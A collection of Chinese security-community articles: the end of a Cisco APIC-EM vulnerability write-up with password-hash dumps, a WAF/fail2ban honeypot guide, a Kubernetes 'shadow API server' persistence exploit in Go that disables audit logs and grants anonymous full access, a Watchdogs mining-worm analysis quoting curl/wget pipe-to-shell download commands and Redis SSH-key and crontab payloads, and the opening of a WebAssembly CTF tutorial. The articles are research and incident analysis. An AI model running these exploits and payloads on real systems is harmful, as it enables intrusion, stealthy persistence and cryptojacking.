RX packets:486859 errors:0 dropped:0 overruns:0 frame:0
TX packets:479599 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:36431324 (36.4 MB) TX bytes:40919272 (40.9 MB)
grape-br0 Link encap:Ethernet HWaddr fe:24:34:a0:f7:1b
inet addr:169.254.0.1 Bcast:169.254.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:169165 errors:0 dropped:0 overruns:0 frame:0
TX packets:169964 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:10041555 (10.0 MB) TX bytes:12541655 (12.5 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:1396822 errors:0 dropped:0 overruns:0 frame:0
TX packets:1396822 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:6805835191 (6.8 GB) TX bytes:6805835191 (6.8 GB)
veth7D8YVY Link encap:Ethernet HWaddr fe:24:34:a0:f7:1b
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:84559 errors:0 dropped:0 overruns:0 frame:0
TX packets:85335 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6204723 (6.2 MB) TX bytes:6285922 (6.2 MB)
vethP5HRD4 Link encap:Ethernet HWaddr fe:96:03:f1:2d:8c
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:84606 errors:0 dropped:0 overruns:0 frame:0
TX packets:85389 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6205142 (6.2 MB) TX bytes:6288509 (6.2 MB)
(grapevine)
[Fri Jun 16 15:11:47 UTC] [email protected] (grapevine-root-1) ~
$
其中，`eth0`接口连接的是外部网络，而`grape-br0`属于内部的Grapevine网络区域，只有可信的LXC才能访问这个网段。
攻击者的系统位于外部LAN中，即`172.16.231.0/24`。我们快速扫描了APIC-EM外部接口的端口开放情况，得到如下结果：
munmap@oceania:~$ nmap -n -p1-65535 -sT 172.16.231.254
Starting Nmap 6.47 ( http://nmap.org ) at 2017-06-16 15:36 BST
Nmap scan report for 172.16.231.254
Host is up (0.0069s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp filtered domain
80/tcp open http
443/tcp open https
3000/tcp open ppp
4369/tcp open epmd
14141/tcp open bo2k
24007/tcp open unknown
49152/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 3.01 seconds
munmap@oceania:~$
如上所示，我们并没有发现特别有用的信息。80、443以及3000端口都是Web前端接口，需要身份认证才能访问。根据上述信息，我们可知4369端口对应的是EPMD（Erlang
Port Mapper
Daemon）服务，并且我们可以通过14141端口访问Grapevine开发者控制台，这个控制台同样需要身份认证。此外，24007以及49152端口均已被GlusterFS集群文件系统守护进程占用。
与此同时，有多个服务正在APIC-EM内部网络上运行，Grapevine
root及client可以使用这些服务。内部网络范围已被硬编码限制为`169.254.0.0/24`。这些服务中有一些非常知名的服务，如Apache
Cassandra、RabbitMQ、Supervisor以及Hazelcast。然而，外部LAN中的恶意主机无法与这些服务通信，根据RFC
5735的规定，`169.254.0.0/16`是保留网络，专用于链路本地（link-local）场景，也就是说数据包无法路由到这个网络。我们可以使用如下命令来确认这一点：
munmap@oceania:~$ route -n | grep ^169
169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 eth0
munmap@oceania:~$ ping -c 1 169.254.0.1
PING 169.254.0.1 (169.254.0.1) 56(84) bytes of data.
From 10.0.7.64 icmp_seq=1 Destination Host Unreachable
--- 169.254.0.1 ping statistics --- 1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
munmap@oceania:~$
这种情况下，我们通常会把中心放在Web前端界面中，寻找绕过身份验证的方法，以访问控制器上包含的任何敏感信息。
## 四、脱离束缚
首先，让我们“自欺欺人”一下，假装从来没听说过RFC
5735标准，也就是说，我们认为`169.254.0.0/16`是一个非常普通的IP地址范围。那么，我们有没有办法能够通过外部LAN与内部网中的服务交互？我们为什么不尝试一下为`169.254.0.0/16`添加静态路由，通过APIC-EM主机的外部接口来访问其内部网呢？
munmap@oceania:~$ sudo route add -net 169.254.0.0/24 gw 172.16.231.254
munmap@oceania:~$ ping -c 1 169.254.0.1
PING 169.254.0.1 (169.254.0.1) 56(84) bytes of data.
64 bytes from 169.254.0.1: icmp_seq=1 ttl=64 time=0.168 ms
--- 169.254.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.168/0.168/0.168/0.000 ms
munmap@oceania:~$
结果看起来非常好，貌似我们可以访问内部网络，即APIC-EM中的`169.254.0.0/24`网络。因此，攻击者可以借此访问内部网络中的主机及服务。这个问题的主要原因在于系统缺乏流量过滤机制，并且APIC-EM系统中默认启用了IP转发功能。
$ cat /proc/sys/net/ipv4/ip_forward
1
(grapevine)
[Fri Jun 16 15:12:00 UTC] [email protected] (grapevine-root-1) ~
$
现在，让我们再次做一次快速端口扫描，看情况有没有发生变化：
munmap@oceania:~$ nmap -n -p1-65535 -sT 169.254.0.1
Starting Nmap 6.47 ( http://nmap.org ) at 2017-06-16 15:59 BST
Nmap scan report for 169.254.0.1
Host is up (0.0079s latency).
Not shown: 65517 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp filtered domain
80/tcp open http
443/tcp open https
3000/tcp open ppp
4369/tcp open epmd
5671/tcp open unknown
5672/tcp open amqp
5701/tcp open unknown
7000/tcp open afs3-fileserver
9001/tcp open tor-orport
9042/tcp open unknown
9160/tcp open apani1
14140/tcp open unknown
14141/tcp open bo2k
24007/tcp open unknown
25672/tcp open unknown
49152/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 2.77 seconds
munmap@oceania:~$
这一次我们可以看到结果中多了9个服务，其中某些服务（如Apache
Cassandra、RabbitMQ以及Supervisor）并不需要身份认证即可访问，原因在于系统认为只有可信的LXC才会访问这些服务，因此并没有做任何限制。
为了演示这个问题所能带来的影响，我们可以连接到Apache Cassandra，获取Web前端以及root账户的密码散列，如下所示：
munmap@oceania:~$ cqlsh 169.254.0.1 9042
Connected to Test Cluster at 169.254.0.1:9042.
[cqlsh 5.0.1 | Cassandra 2.1.5 | CQL spec 3.2.0 | Native protocol v3]
Use HELP for help.
cqlsh> SELECT username,authorization,password FROM grapevine.rbac_user;
username | authorization | password
----------+-----------------------+------------------------------------------------------------------------------------------------------- admin | {'ALL': 'ROLE_ADMIN'} | 2Vzt4qfGmakw9UmOmZrAqm9A1Qao3h2PCKiWqZ8gFB3XseKuVM7NoA==$95rSYiRERSYrg4f+4eEbYNwndyxtxUU0qcvWTaD3Ns8=
(1 rows)
cqlsh> SELECT vm_password FROM grapevine.roots;
vm_password
------------------------------------------------------------------------------------------------------------ $6$V8nt06mrONhC7tez$fjIspZtRq5Pw/eYTmNWEdU0DdzRvh75VmuyNr.r1PenS5ohKVXfRheSsR5c0HC0L6Kb8aXFh3Bkz1Rsg3pHLz1
(1 rows)
cqlsh> exit
munmap@oceania:~$
从此时起，攻击者可以使用各种方法来干扰或者进一步控制APIC-EM系统。比如，我们可以通过Apache Cassandra的CQL
shell将自己的用户添加到系统中，或者向RabbitMQ推送伪造的消息来改变SDN的整体配置等等。
## 五、攻击升级
在前面演示案例中，只有当攻击者与SDN控制器位于同一个Layer
2网络中时，才能执行类似攻击动作。如果想远程利用这个漏洞（比如经过一个或者多个网络中继节点），问题在于中间路由器并没有掌握链路本地网络的路由信息。
有一种方法能够克服这种攻击限制条件，虽然这种方法基本只在理论上可行，并且严重依赖于某些环境配置条件。中间路由器的配置情况千差万别，某些条件下，我们可以结合使用IP记录路由（record
route）以及IP源路径路由（source
routing）将数据包投递至`169.254.0.0/24`网段中，或者从该网段中发出。然而，请记住这仅仅是一个理论猜想，我们并没有进一步验证这个场景。
## 六、补丁情况
思科在APIC-EM
1.5版本中解决了这个问题，具体方法是过滤掉外部接口上与`169.254.0.0/24`有关的流量。这的确是非常快速而又简单的解决办法，然而，从更深层次的防御理念来看，我们认为在优秀的应用设计思路中，应该对运行在内部的服务强制采用身份认证机制。
该漏洞编号为[CVE-2017-12262 (CVSS
8.8)](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20171101-apicem)。
## 七、总结
新的技术同样需要经过仔细的评估。虽然SDN提供了许多非常优秀的安全特性（比如细粒度切割（micro-segmentation）以及主动隔离被攻击影响的主机），然而其所涉及的技术栈（technology
stack）非常新颖，与传统的技术栈相比，这些技术栈并没有经过多年实践的磨练及完善，因此容易出现一些纰漏。然而，组织机构不能忽视这些新技术所带来的安全风险。根据MWR的经验，我们认为想要在收获最大利益的同时最大限度地降低风险，关键在于使用良好的架构及安全保证。
如果架构设计得足够良好，可以阻止普通主机发现SDN控制器的管理接口，那么就不会出现这个问题。与正常情况一样，我们应该限制管理接口访问条件，只有最小范围的必要的主机才能访问这些接口。内部接口总是存在被暴露的安全风险，因此减少可能存在的这种攻击面依然值得尝试。
如果某些服务必须对外开放，那么组织机构不应当听信厂商的一面之词，认为这些服务足够安全。如果厂商无法拿出安全开发及威胁建模的具体凭证，也无法给出先前所做的安全测试案例，那么组织机构可以考虑自己来评估这些产品的安全（比如在本文中，我们可以看到各单位对RFC标准的理解并不相同）。 | 社区文章 |
首发地址：http://lab.xmirror.cn/atc/2017/07/19/xmirror-security.html
服务器承担着业务运行及数据存储的重要作用，因此极易成为攻击者的首要目标。如何对业务服务器的安全进行防护，及时找出针对系统的攻击，并阻断攻击，最大程度地降低主机系统安全的风险程度，是企业安全从业人员面临的一个问题。
本篇原创文章主要通过介绍ngx_lua&&fail2ban实现主动诱捕从而达到主机防护的效果。
用过主机层WAF的朋友对ngxluawaf应该都不陌生，做过SSH防暴力破解的同学应该对fail2ban也有耳闻。
常见的开源主机WAF有 modsecurity、naxsi、ngxluawaf 这三个，ngxlua_waf
性能高和易用性较强，基本上零配置，只需要维护规则，常见的攻击类型就都能防御，相对来说是比较省心的选择。
同时，基于lua脚本编写模块也很快捷，甚至可以实现一些复杂的业务层逻辑安全控制。当然，选择春哥的openresty也可以，如果选择openresty就不需要再单独安装lua相关的组件了。
这里我们简单介绍一下安装过程，用nginx或者tengine都可以，需要安装LuaJIT，操作系统需要安装zlib,zlib-devel,openssl,openssl-devel,pcre,pcre-devel。
LuaJIT安装成功后，如下图所示。
Tengine编译参数如下：
–prefix=/usr/local/nginx
–with-http_lua_module
–with-luajit-lib=/usr/local/luajit/lib/
–with-luajit-inc=/usr/local/luajit/include/luajit-2.0/
–with-ld-opt=-Wl,-rpath,/usr/local/luajit/lib
下载ngxluawaf，下载地址为<https://github.com/loveshell/ngxluawaf>
，解压后放在/usr/local/nginx/conf目录下，可重命名为指定名称如waf，修改ngxluawaf配置文件config.lua，路径根据实际安装情况定。
RulePath = “/usr/local/nginx/conf/waf/wafconf/”
attacklog = “on”
logdir = “/usr/local/nginx/logs/waf”
需要注意logdir指向的目录不存在，需要手工创建，创建后需要修改所属权限，否则防护日志无权限写入。
nginx主配置文件nginx.conf的http段中添加如下内容。
lua_package_path “/usr/local/nginx/conf/waf/?.lua”;
lua_shared_dict limit 10m;
init_by_lua_file /usr/local/nginx/conf/waf/init.lua;
access_by_lua_file /usr/local/nginx/conf/waf/waf.lua;
检查nginx配置/usr/local/nginx/sbin/nginx –t，如果没问题重启nginx既可生效。
Fail2ban安装我们就不做过多介绍了，安装配置都比较简单，不过fail2ban的经典用法基本都是用来做SSH防暴力破解的，那么fail2ban到底和ngxluawaf有什么关系呢？
其实，看一下fail2ban的原理，通过正则匹配SSH日志中的关键字，根据达到定义的触发规则次数，调用iptables将攻击IP ban掉一定的时间。
相信大家也都想到了，既然能通过匹配SSH日志，web日志肯定也是能匹配到的，只不过是要定义相关匹配规则而已，fail2ban本身也支持apache和vsftp。
针对其他的应用系统也一样，分析场景，编写好规则就可以了。
说了这么多，这里才是我们的重点，我们的目的是主动诱捕具有针对性的攻击行为，主动诱捕是相对于传统蜜罐，传统蜜罐是被动的诱使攻击者访问，再对其行为进行记录。
主动诱捕是指将具有针对性的攻击行为主动转向蜜罐网络，对攻击者几乎是透明的，不知不觉就进入到了我们的蜜罐网络中。
为什么要采用主动诱捕的方式来进行防御呢，大家可能都有这个体会，我们的应用系统每天都会受到很多攻击，但99%可能都是盲目的扫描探测，只有不到1%可能才是具有针对性的攻击，而我们真正关心的其实就是这1%的针对性攻击，1%的有效数据被99%的垃圾数据覆盖，对分析造成了很大的干扰。
要让主动诱捕真正发挥作用，我们首先要梳理好业务场景，梳理出哪些场景下的攻击是真正具有威胁性的，根据实际情况编写好规则，当攻击行为触发规则，筛选出攻击IP并调用iptables转发到蜜罐网络中。
根据不同需求，蜜罐网络中可以KILLCHAIN进行跟踪和分析，也可以根据业务进行攻击行为分析，进而调整整体安全策略，达到有效防御。
当然，蜜罐网络要做好隔离，否则会造成很大的安全隐患，技术也是一把双刃剑，iptables可以将攻击IP流量转发到蜜罐网络，相信大家也想到了利用iptables实现端口复用，绕过一些端口访问控制。
因此，要想做到更好的防御，就要比攻击者更了解自己的系统。 | 社区文章 |
## Kube-apiserver
API Server是k8s control
panel中的一个组件，下游与etcd(k8s数据库)通信，通过kubelet控制每个节点的行为，上游暴露API供pod内部编程调用和管理员从外部通过kubectl调用。
API Server默认支持8080免鉴权端口(已被最新k8s默认配置禁用)以及6443鉴权端口。因K8s本身的配置不当、鉴权不当导致API
Server直接被攻破案例可参考：[《K8s 6443批量入侵调查》](https://www.cdxy.me/?p=833)。
除此之外，一种常见的利用路径是攻击者通过业务应用（如web rce）攻入pod，在pod中寻找到高权限的service account并与API
Server进行横向移动。
## 手动构造kubectl请求
某些情况下我们攻破的pod是一个缩减的容器环境，没有kubectl curl等常见命令，此时与api-server通信的方法有三种：1)植入kubectl
2)代理流量 3)手工构造http请求与apiserver通信。
针对pod内部无依赖直接与apiserver通信的场景，已经集成在CDK
的tool模块中，通过`kcurl`命令与apiserver进行交互，无本地环境依赖。
* <https://github.com/cdk-team/CDK/wiki/Tool:-kcurl>
该命令支持通过 匿名访问、通过pod内置的service account
token鉴权访问以及通过指定token文件鉴权三种通信模式，通过手工指定url和post data向apiserver发包。
其中关键在于，如何把kubectl的命令翻译成对apiserver通信的http包，这里提供两种方法：
假设我们要通过kubectl apply部署一个pod，yaml如下：
apiVersion: v1
kind: Pod
metadata:
name: cdxy-test-2021
spec:
containers:
- image: ubuntu:latest
name: container
args:
- "sleep"
- "infinity"
在执行kubectl时，kubectl会把这个yaml构造成json，作为http请求的data，发往指定api的url，
这个过程可以在本地预先通过`--v=8`抓取：
kubectl apply -f ubuntu.yaml --v=8
然后在攻入的pod中使用cdk kcurl重放：
cdk kcurl (anonymous|default|<token-path>) <method> <url> [<data>]
用该方法可以快速翻译所有kubectl的操作。除此之外针对yaml转json还可以使用`kubectl create -f ubuntu.yaml
--edit -o json` 直接生成post data。
## Shadow API Server
该技术由研究人员在 ["RSAC 2020: Advanced Persistence Threats: The Future of Kubernetes
Attacks"](https://www.youtube.com/watch?v=CH7S5rE3j8w)
提出，旨在创建一种针对K8s集群的隐蔽持续控制通道。
该思路是创建一个具有API Server功能的Pod，后续命令通过新的"shadow api server"下发。新的api
server创建时可以开放更大权限，并放弃采集审计日志，且不影响原有api-server功能，日志不会被原有api-server记录，从而达到隐蔽性和持久控制目的。
执行这一思路的前提是已经拿到了master node的create pod权限，接下来主要讨论如何把这个思路工程化。
我们先看一下master node原有的apiserver配置：
kubectl get pods -n kube-system | grep kube-apiserver
kubectl get pods -n kube-system kube-apiserver-cn-beijing.192.168.0.150 -o yaml
在原有的apiserver配置中我们可以看到apiserver的启动参数，其中包含etcd和kubelet的通信凭据，etcd的手工连接方法参考：[《K8s渗透测试etcd的利用》](https://www.cdxy.me/?p=827)
此外，我们要构造shadow apiserver主要关注以下几个点的配置：
这个pod的配置中我们只需要改动command字段让shadow spiserver获取更多权限，而保留pod原有的通信凭据和其他启动参数。
func generateShadowApiServerConf(json string) string {
json, _ = sjson.Delete(json, "status")
json, _ = sjson.Delete(json, "metadata.selfLink")
json, _ = sjson.Delete(json, "metadata.uid")
json, _ = sjson.Delete(json, "metadata.annotations")
json, _ = sjson.Delete(json, "metadata.resourceVersion")
json, _ = sjson.Delete(json, "metadata.creationTimestamp")
json, _ = sjson.Delete(json, "spec.tolerations")
json, _ = sjson.Set(json, "metadata.name", gjson.Get(json, "metadata.name").String()+"-shadow")
json, _ = sjson.Set(json, "metadata.labels.component", gjson.Get(json, "metadata.labels.component").String()+"-shadow")
// remove audit logs to get stealth
reg := regexp.MustCompile(`(")(--audit-log-[^"]*?)(")`)
json = reg.ReplaceAllString(json, "${1}${3}")
argInsertReg := regexp.MustCompile(`(^[\s\S]*?"command"[\s\:]*?\[[^\]]*?"kube-apiserver")([^"]*?)(,\s*?"[\s\S]*?)$`)
// set --allow-privileged=true
reg = regexp.MustCompile(`("--allow-privileged\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}true${3}")
if !strings.Contains(json, "--allow-privileged") {
json = argInsertReg.ReplaceAllString(json, `${1},"--allow-privileged=true"${3}`)
}
// set insecure-port to 0.0.0.0:9443
reg = regexp.MustCompile(`("--insecure-port\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}9443${3}")
if !strings.Contains(json, "--insecure-port") {
json = argInsertReg.ReplaceAllString(json, `${1},"--insecure-port=9443"${3}`)
}
reg = regexp.MustCompile(`("--insecure-bind-address\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}0.0.0.0${3}")
if !strings.Contains(json, "--insecure-bind-address") {
json = argInsertReg.ReplaceAllString(json, `${1},"--insecure-bind-address=0.0.0.0"${3}`)
}
// set --secure-port to 9444
reg = regexp.MustCompile(`("--secure-port\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}9444${3}")
if !strings.Contains(json, "--secure-port") {
json = argInsertReg.ReplaceAllString(json, `${1},"--secure-port=9444"${3}`)
}
// set anonymous-auth to true
reg = regexp.MustCompile(`("--anonymous-auth\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}true${3}")
if !strings.Contains(json, "--anonymous-auth") {
json = argInsertReg.ReplaceAllString(json, `${1},"--anonymous-auth=true"${3}`)
}
// set authorization-mode=AlwaysAllow
reg = regexp.MustCompile(`("--authorization-mode\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}AlwaysAllow${3}")
if !strings.Contains(json, "--authorization-mode") {
json = argInsertReg.ReplaceAllString(json, `${1},"--authorization-mode=AlwaysAllow"${3}`)
}
return json
}
通过原有json生成新的json之后，即可部署到master node中。
渗透过程自动化即：
1. 在攻入的pod内部查找API-server访问地址和凭据
2. 连接apiserver判断权限
3. 获取apiserver原有配置
4. 修改配置
5. 重新部署shadow apiserver
以上过程已经集成到工具中，为了适应不同容器环境中没有kubectl 和 curl等命令的情况，CDK适用golang net.http原生实现了此exp。
* <https://github.com/cdk-team/CDK/blob/main/pkg/exploit/k8s_shadow_apiserver.go>
## 测试流程
首先在pod中使用cdk寻找弱点：
cdk evaluate
发现当前pod内置的service account具有高权限，接下来使用exp部署shadow apiserver。
cdk run k8s-shadow-apiserver default
此命令会自动完成pod搜寻->配置拉取->配置修改->部署pod的一系列操作，其中`default`参数代表执行命令的过程通过pod默认的server
account token鉴权。
部署成功之后，后续渗透操作全部由新的shadow apiserver代理，由于打开了无鉴权端口，任何pod均可直接向shadow
apiserver发起请求管理集群。
dump k8s secrets: | 社区文章 |
# 背景
2月20日17时许，阿里云安全监测到一起大规模挖矿事件，判断为Watchdogs蠕虫导致，并在第一时间进行了应急处置。
该蠕虫短时间内即造成大量Linux主机沦陷，一方面是利用Redis未授权访问和弱密码这两种常见的配置问题进行传播，另一方面从known_hosts文件读取ip列表，用于登录信任该主机的其他主机。这两种传播手段都不是第一次用于蠕虫，但结合在一起爆发出巨大的威力。
然而Watchdogs并不是第一个造成这般影响的Redis蠕虫。截至目前，Redis配置问题已惨遭40余种蠕虫攻击和利用；此外，其他种类数据库的配置问题，也难保不在将来成为黑客的目标。
因此，本文在分析此次Watchdogs挖矿蠕虫、提供清理建议的同时，也分析了数据库蠕虫的发展趋势，并针对类似的大规模入侵事件的应急和预防给出建议。
Watchdogs 挖矿蠕虫简介
该蠕虫的感染路径如下图所示。
# 01 蠕虫传播方式
攻击者首先扫描存在未授权访问或弱密码的Redis，并控制相应主机去请求以下地址：
<https://pastebin.com/raw/sByq0rym>
该地址包含的命令是请求、base64解码并执行另一个url地址的内容：
(curl -fsSL <https://pastebin.com/raw/D8E71JBJ||wget> -q -O-<https://pastebin.com/raw/D8E71JBJ)|base64> -d|sh
而<https://pastebin.com/raw/D8E71JBJ> 的内容解码后为一个bash脚本，脚本中又包含下载恶意程序Watchdogs的指令。
(curl -fsSL <http://thyrsi.com/t6/672/1550667479x1822611209.jpg> -o
/tmp/watchdogs||wget -q <http://thyrsi.com/t6/672/1550667479x1822611209.jpg>
-O /tmp/watchdogs) && chmod +x /tmp/watchdogs
如上图所示，本次蠕虫的横向传播分为两块。
一是Bash脚本包含的如下内容，会直接读取主机上的/root/.ssh/known_hosts和/root/.ssh/id_rsa.pub文件，用于登录信任当前主机的机器，并控制这些机器执行恶意指令。
二是Bash脚本下载的Watchdogs程序，通过对Redis的未授权访问和爆破、以及对SSH的爆破，进行横向传播。
具体为表现为，Watchdogs程序的Bbgo()函数中，首先获取要攻击的ip列表
随后尝试登录其他主机的ssh服务，一旦登录成功则执行恶意脚本下载命令
在Ago()函数中，则表现为针对其他主机Redis的扫描和攻击。
# 02 恶意Bash脚本
除了下载Watchdogs程序和横向传播外，Bash脚本还具有以下几项功能
1.将下载自身的指令添加到crontab定时任务，10分钟执行一次
2.杀死同类的挖矿僵尸木马进程
杀死cpu占用大于80%的其他进程
简而言之，bash脚本主要是完成恶意程序植入、持久化和一部分的横向传播功能。
# 03 Watchdogs分析
Watchdogs程序为elf可执行文件，由go语言编译，其主要函数结构如下图所示。
## 1.LibiosetWrite()
该函数主要执行libioset.so文件的写入
## 2.Cron()
将恶意下载命令添加到/etc/cron.d/root等多个文件中，定时执行，加大清理难度
## 3.KsoftirqdsWriteRun()
解压并写入挖矿程序及其配置文件
Bbgo()和Ago()函数的功能在“蠕虫传播方式”一节已有介绍，此处不再赘述。
综上，Watchdogs程序在Bash脚本执行的基础上，将进一步进行挖矿程序的释放和执行、恶意so文件写入以及剩余的横向传播。
# 04 libioset.so分析
如图是libioset.so的导出函数表，包括unlink, rmdir, readdir等。
这里以执行rm命令必须调用的unlink()函数为例。
它只对不包含"ksoftirqds"、"ld.so.preload"、"libioset.so"这几个字符串的文件调用正常的unlink()，导致几个文件无法被正常删除。
其他几个命令，如readdir也是类似，无法正常返回关于恶意程序的结果。
而fopen函数更是变本加厉，由于系统查询cpu使用情况和端口占用情况时，都会调用fopen，于是攻击者hook了这一函数，使其在读取'/proc/stat'和'/proc/net/tcp'等文件时，调用伪造函数
其中forge_proc_cpu()函数，将返回硬编码的字符串
这种对查看系统状态功能的恶意hook，导致用户难以通过简单自查，确定挖矿是否存在以及挖矿进程是哪个。
“许多黑客模仿我的代码”——数据库蠕虫趋势统计
此次的Watchdogs挖矿蠕虫与18年出现的kworkerd蠕虫出自同一位作者（关于kworkerd挖矿僵尸网络参见《2018年云上挖矿分析报告》），因为它们使用了相同的钱包地址和相似的攻击手法。此外作者在恶意脚本末尾的注释也印证了这点：
#1.If you crack my program, please don't reveal too much code online.Many hacker boys have copied my kworkerds code,more systems are being attacked.(Especially libioset)...
这段注释同时也揭露了一个事实，“许多黑客模仿我的代码”——当一个攻击者采取了某种攻击手法并取得成功，其他攻击者会纷纷模仿，很快将该手段加入自己的“攻击大礼包”。
这种模仿的结果是，据阿里云安全不完全统计，利用Redis未授权访问等问题进行攻击的蠕虫，数量已从2018年中的一个，上涨到如今的40余个，其中不乏DDG、8220这样臭名昭著的挖矿团伙。此外大部分近期新出现的蠕虫，都会加上Redis利用模块，因为实践证明互联网上错误配置的Redis数据库数量庞大，能从其中分一杯羹，攻击者的盈利就能有很大的提升。
因而如果不保护好Redis，用户面临的将不是一个蠕虫，而是40余个蠕虫此起彼伏的攻击。
下图所示为近半年来，针对Redis的攻击流量和目标机器数量趋势，从中不难看出Redis攻击逐渐被各大僵尸网络采用，并在2018年10月11月保持非常高的攻击量；而后在经历了3个月左右的沉寂期后，在今年2月再次爆发。
而Redis本身遭受攻击的主流方法也经过了三个阶段
1.攻击者对存在未授权访问的Redis服务器写入ssh key，从而可以畅通无阻登录ssh服务
具体为执行以下payload
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 【sshkey】 root@kali\n\n\n"
save
其中【sshkey】表示攻击者的密钥
2.攻击者对存在未授权访问的Redis服务器写入crontab文件，定时执行恶意操作
具体为执行以下payload
config set dir /var/spool/cron
config set dbfilename root
set x "【evil command】"
save
其中【evil command】表示定时执行的恶意命令
3.以上两个阶段中仅对Redis完全没有验证即可访问的情况，第三个阶段则开始针对设置了密码验证，但密码较弱的Redis进行攻击，受害范围进一步扩大。
然而Redis并不是唯一一个受到黑客“青眼”的数据库。如下表所示，SQL Server, Mysql,
Mongodb这些常用数据库的安全问题，也被多个挖矿僵尸网络所利用；利用方式集中在未授权访问、密码爆破和漏洞利用。
# Watchdogs入侵修复及清理方法
1. 首先停止cron服务，避免因其不断执行而导致恶意文件反复下载执行。如果操作系统可以使用service命令，则执行
service crond stop
如果没有service命令，执行
/etc/init.d/cron stop
2. 随后使用busybox删除以下两个so文件：
```
sudo busybox rm -f /etc/ld.so.preload
sudo busybox rm -f /usr/local/lib/libioset.so
sudo ldconfig
busybox是一个小巧的unix工具集，许多Linux系统装机时已集成。使用它进行删除是因为系统自带的rm命令需要进行动态so库调用，而so库被恶意hook了，无法进行正常删除；而busybox的rm是静态编译的，无需调用so文件，所以不受影响。
3. 清理恶意进程
sudo kill -9 `ps -ef|grep Watchdogs|grep -v grep |awk '{print $2}'`
sudo kill -9 `ps -ef|grep ksoftirqds|grep -v grep |awk '{print $2}'`
4. 清理cron相关文件，重启服务，具体为检查以下文件并清除其中的恶意指令：
/var/spool/cron/crontabs/root
/var/spool/cron/root
/etc/cron.d/root
之后执行
service crond start
（或/etc/init.d/cron start）
```
# 安全建议
数字加密货币的获取依赖计算资源的特质，催生了黑客进行大规模入侵的动机和土壤；类似Watchdogs蠕虫这样的数据库入侵事件，不是第一起，也不会是最后一起。阿里云作为“编写时即考虑安全性”的平台，提供良好的安全基础设施和丰富的安全产品，帮助用户抵御挖矿和入侵，同时提供以下安全建议：
1.在入侵发生之前，加强数据库服务的密码，尽量不将数据库服务开放在互联网上，或根据实际情况进行访问控制（ACL）。这些措施能够帮助有效预防挖矿、勒索等攻击。平时还要注意备份资料，重视安全产品告警。
2.如果怀疑主机已被入侵挖矿，对于自身懂安全的用户，在攻击者手段较简单的情况下，可以通过自查cpu使用情况、运行进程、定时任务等方式，锁定入侵源头。
3.对于攻击者采用较多隐藏手段的攻击（如本次的Watchdogs蠕虫，使ps、top等系统命令失效），建议使用阿里云安全的下一代云防火墙产品，其阻断恶意外联、能够配置智能策略的功能，能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明，下载、挖矿、反弹shell这些操作，都需要进行恶意外联；云防火墙的拦截将彻底阻断攻击链。此外，用户还可以通过自定义策略，直接屏蔽pastebin.com、thrysi.com等广泛被挖矿蠕虫利用的网站，达到阻断入侵的目的。
如图是云防火墙帮助用户拦截此次Watchdogs蠕虫下载的例子，图中共拦截23次对pastebin.com的请求；这些拦截导致主机未下载恶意脚本，从而就不会发起对thrysi.com的请求，故规则命中次数为0。
以上截图表明Watchdogs的攻击链未能执行到下一步，拦截起到了很好的效果。
4.对于有更高定制化要求的用户，可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务，定制适合您的方案，帮助加固系统，预防入侵。入侵事件发生后，也可介入直接协助入侵后的清理、事件溯源等，适合有较高安全需求的用户，或未雇佣安全工程师，但希望保障系统安全的企业。
# IOC
## 钱包地址
46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava
## 矿池地址
xmr.f2pool.com
## 恶意url
pastebin.com/raw/sByq0rym
thyrsi.com/t6/672/1550667515x1822611209.jpg
## 恶意文件 | 社区文章 |
# 一步步学习Webassembly逆向分析方法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在强网杯2019线上赛的题目中，有一道名为Webassembly的wasm类型题，作为CTF新人，完全没有接触过wasm汇编语言，对该类型无从下手，查阅相关资料后才算入门，现将Webassembly的静态分析和动态调试的方法及过程整理如下，希望能够对于CTF萌新带来帮助，同时如有大佬光顾发现错误，欢迎拍砖予以斧正。
## 1.WebAssembly基本概念
在开始Webassembly逆向分析之前，需要了解其基本概念和基础知识，由于自己也是初学者，防止对大家的学习产生误导，在此将学习资料链接给出。
* [`图解WebAssembly`](https://www.w3ctech.com/topic/2011)
* [`理解 WebAssembly JS API`](https://www.w3ctech.com/topic/2014)
* [`理解WebAssembly文本格式`](https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format)
总体来说，wasm可以理解为一种可以由JavaScript调用，并与html交互的二进制指令格式文件。
## 2.处理wasm文件
